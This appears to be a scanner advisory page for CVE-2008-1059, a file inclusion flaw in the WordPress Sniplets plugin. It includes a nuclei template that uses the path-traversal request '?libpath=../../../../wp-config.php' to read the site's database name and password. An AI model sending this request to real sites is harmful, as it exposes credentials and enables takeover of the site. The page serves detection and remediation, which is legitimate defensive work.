WordPress Sniplets 1.1.2 - Local File Inclusion

highseverity

7.5CVSS score

48.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.

Fix

Update WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2008-1059 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-1059

info:
  name: WordPress Sniplets 1.1.2 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: |
    Update WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1059
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40829
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2008-1059
    cwe-id: CWE-94
    epss-score: 0.48329
    epss-percentile: 0.98876
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wordpress
    product: sniplets_plugin
  tags: cve2008,cve,lfi,wordpress,wp-plugin,wp,sniplets,edb,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from